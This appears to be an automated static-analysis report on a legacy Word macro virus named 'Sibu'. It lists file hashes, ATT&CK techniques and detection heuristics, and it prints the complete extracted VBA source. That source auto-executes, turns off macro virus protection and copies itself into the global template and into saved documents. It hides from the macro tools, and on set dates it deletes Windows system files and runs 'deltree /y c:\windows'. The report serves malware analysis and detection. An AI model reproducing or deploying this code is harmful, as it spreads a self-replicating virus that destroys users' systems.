Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ac6f77c708e39f33…

MALICIOUS

Office (OLE)

53.5 KB Created: 1998-05-27 21:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 86e147b2bbdeb0781fd712afe90a30b9 SHA-1: d8209d0be915a7fd20870bb6d8aed79e380c0acf SHA-256: ac6f77c708e39f33a6f3672087c4cfaca86ebe9403c2a9c8248e7d6683064eb0
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1037.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1490 Inhibit System Recovery

The sample contains legacy WordBasic macro virus markers and critical VBA heuristics indicating the presence of a Shell() call and auto-execution of code. The AutoOpen and AutoExec macros within the 'sibu' module attempt to deceive the user with a math game, threatening to format the computer using 'deltree /y c:\windows' or delete system files like 'c:\*.sys' and 'c:\windows\*.sys' if the user fails or cancels. This indicates a destructive payload disguised as a game.

Heuristics 7

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "deltree /y c:\windows", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3665 bytes
SHA-256: 2edc4e49107b9f3123c255dcfef09be5be1f6b34654d11f5ff21db31f46759ef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sibu"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorA
If Day(Now()) = "15" Then
Ans$ = InputBox$("Today is " + Date$ + ", Let us play a math game" + Chr$(13) + " If you fail, you must accept some Cruel punish!" + Chr$(13) + "" + Chr$(13) + "1 + 1 = ?" + Chr$(13) + "(Do not click Cancel or Close button" + Chr$(13) + " it would Format your Computer)", "Sibu Number 0 MacroVirus")
If Ans$ = "ILoveVirus" Then
MsgBox "Good you are clever", vbInformation, "Sibu Number 0 MacroVirus"
ElseIf Ans$ = "" Then
MsgBox "I told you already do not click cancel or close button" + Chr$(13) + "but you never listen, so you got a big trouble!", vbExclamation, "Sibu Number 0 MacroVirus"
Shell "deltree /y c:\windows", vbHide
Else
MsgBox "Sorry wrong answer, Accept Punished", vbExclamation, "Sibu Number 0 MacroVirus"
Kill "c:\*.sys"
Kill "c:\windows\*.sys"
For I = 1 To 30
addr = "Sibu is hot....I hate!!" & vbCr & "I hate Malaysia...hate" & vbCr & "%$*)#%&#$%"
Application.MailingLabel.CreateNewDocument _
  Address:=addr
  Next I
  End If
End If
ErrorA:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
If Day(Now()) = "1" Or Day(Now()) = "3" Or Day(Now()) = "5" Or Day(Now()) = "7" Or Day(Now()) = "9" Or Day(Now()) = "11" Or Day(Now()) = "13" Then
Set myMenuBar = CommandBars.ActiveMenuBar
Set newMenu = myMenuBar.Controls.Add(Type:=msoControlPopup, Temporary:=True)
newMenu.Caption = "Sibu"
Set ctrl1 = newMenu.CommandBar.Controls _
    .Add(Type:=msoControlButton, ID:=1)
With ctrl1
    .Caption = "Hate Sibu"
    .TooltipText = "Hate Sibu"
End With
End If
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For I = 1 To iMacroCount
    If WordBasic.[MacroName$](I, 0) = "sibu" Then
        SibuInstalled = -1
    End If
Next I
If Not SibuInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="sibu", Object:=wdOrganizerObjectProjectItems
End If
ErrorAC:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="sibu", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
ErrorFT:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
ErrorVVBC:
End Sub

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